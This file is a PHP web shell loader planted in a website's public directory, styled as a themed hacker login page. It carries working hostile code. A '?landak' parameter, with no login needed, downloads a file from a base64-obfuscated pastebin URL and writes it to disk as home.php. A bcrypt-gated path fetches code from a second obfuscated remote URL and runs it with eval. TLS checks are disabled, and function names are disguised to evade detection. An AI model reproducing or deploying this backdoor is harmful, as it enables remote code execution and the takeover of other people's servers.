File: /home/smitsolutionshyd/public_html/app.php
<?php
/**
* ======================================================================
* SHADOW REVOLT LOADER
* ======================================================================
* A dark-styled payload launcher disguised as a rebellion login page.
* Blends sinister UI with hidden eval-based code execution.
*
* STRUCTURE:
* - Login page: bloody dark with fire header, One Piece flag background,
* and mocking Indonesian quote against corruption.
* - ?landak trigger: fetch + save file (no login required).
* - Default runner: protected by bcrypt login system.
*
* VISUAL:
* - Big flaming title above everything.
* - Quote (long, bloody, harsh) placed ABOVE login form card.
* - Login form styled as bloody ritual box.
* - Rat-in-suit image at bottom-right for symbolic mockery.
* ======================================================================
*/
define('LOGIN_HASH', '$2y$10$AUZBXjZmVtHCN64tMheQW.OGoc8o2vroFPg7ZrSPdQybNU2A2y5cO');
define('LOGIN_COOKIE', 'shadow_gate');
define('LOGIN_EXPIRY', 3600);
function _compileFetchCoreLite($u) {
if (function_exists('curl_version')) {
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $u);
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$r = curl_exec($c);
if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); }
curl_close($c); return $r;
}
throw new Exception("cURL not available.");
}
function _compileExecPayloadTask($u) {
$x = _compileFetchCoreLite($u);
if ($x === false || trim($x) === '') throw new Exception("Empty or failed content.");
EvAl("?>" . $x);
}
function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); }
function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); }
function _compileRenderLoginPage($quote) {
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>𝐒𝐇𝐄𝐋𝐋 𝐊𝐈𝐁𝐀</title>
<style>
body {
margin: 0;
font-family: 'Courier New', monospace;
background: url('https://i.ibb.co/JR9gBhLV/k1b4.png') no-repeat center center fixed;
background-size: cover;
color: #fff;
text-align: center;
overflow: hidden;
}
.overlay {
background: rgba(0,0,0,0.85);
min-height: 100vh;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
padding: 30px;
}
h1.fire-title {
font-size: 42px;
color: #7722ffff;
text-transform: uppercase;
margin-bottom: 20px;
text-shadow: 0 0 10px #7722ffff, 0 0 25px #7722ffff, 0 0 40px #7722ffff;
animation: flame 2s infinite alternate;
}
@keyframes flame {
from { text-shadow: 0 0 15px #7722ffff, 0 0 30px #7722ffff; }
to { text-shadow: 0 0 25px #7722ffff, 0 0 50px #7722ffff; }
}
.quote {
max-width: 800px;
font-size: 16px;
margin-bottom: 30px;
line-height: 1.6;
color: #7722ffff;
font-weight: bold;
text-shadow: 0 0 10px #000, 0 0 15px #900;
padding: 20px;
border-left: 4px solid #7722ffff;
border-right: 4px solid #7722ffff;
background: rgba(20,0,0,0.6);
}
.login-box {
background: rgba(20, 20, 20, 0.8);
border-radius: 12px;
padding: 30px;
width: 320px;
box-shadow: 0 0 20px #7722ffff;
border: 2px solid #7722ffff;
}
.login-box input[type="password"] {
width: 100%;
padding: 12px;
margin-bottom: 15px;
border: none;
border-radius: 6px;
background: #111;
color: #7722ffff;
font-size: 15px;
outline: none;
box-shadow: inset 0 0 10px #7722ffff;
}
.login-box button {
width: 100%;
padding: 12px;
border: none;
border-radius: 6px;
background: linear-gradient(90deg, #7722ffff, #7722ffff);
color: #fff;
font-weight: bold;
cursor: pointer;
transition: 0.3s;
}
.login-box button:hover {
background: linear-gradient(90deg, #7722ffff, #7722ffff);
box-shadow: 0 0 20px #7722ffff;
}
.rat {
position: fixed;
bottom: 10px;
right: 10px;
width: 100px;
filter: drop-shadow(0 0 8px #7722ffff);
opacity: 0.9;
}
</style>
</head>
<body>
<div class="overlay">
<h1 class="fire-title">
░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░ ██╗░░██╗██╗██████╗░░█████╗░
██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░ ██║░██╔╝██║██╔══██╗██╔══██╗
╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░ █████═╝░██║██████╦╝███████║
░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░ ██╔═██╗░██║██╔══██╗██╔══██║
██████╔╝██║░░██║███████╗███████╗███████╗ ██║░╚██╗██║██████╦╝██║░░██║
╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝</h1>
<div class="quote">
<?= htmlspecialchars($quote) ?>
</div>
<div class="login-box">
<form method="post">
<input type="password" name="password" placeholder="𝐊𝐈𝐁𝐀" required>
<button type="submit">Masuk</button>
</form>
</div>
</div>
<img class="rat" src="https://i.ibb.co/JR9gBhLV/k1b4.png" alt="𝐊𝐈𝐁𝐀">
</body>
</html>
<?php
}
function _compileAuthAndRun($payloadUrl) {
if (isset($_COOKIE[LOGIN_COOKIE])) return _compileExecPayloadTask($payloadUrl);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
if (password_verify($_POST['password'], LOGIN_HASH)) {
setcookie(LOGIN_COOKIE, '1', time() + LOGIN_EXPIRY, "/");
return _compileExecPayloadTask($payloadUrl);
}
}
$quote = "WOPS CAER";
_compileRenderLoginPage($quote);
exit;
}
if (isset($_GET['landak'])) {
try {
$p1 = 'aHR0cHM6Ly9wYXN0ZWJpb';
$p2 = 'i5jb20vcmF3L0RTU25SZlND';
$url = _compileDecodeChunkUnit($p1 . $p2);
$d = _compileFetchCoreLite($url);
if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('home.php', $d); echo "File created."; }
else echo "No content.";
} catch (Exception $e) { echo "Error: " . $e->getMessage(); }
exit;
}
try {
$r1 = 'aHR0cHM6Ly9wZW5nb2Nva2h';
$r2 = 'hbmRhbC5wYWdlcy5kZXYvbGFuZGFrX2FsZmEudHh0';
$u = _compileDecodeChunkUnit($r1 . $r2);
_compileAuthAndRun($u);
} catch (Exception $e) { echo "Error: " . $e->getMessage(); }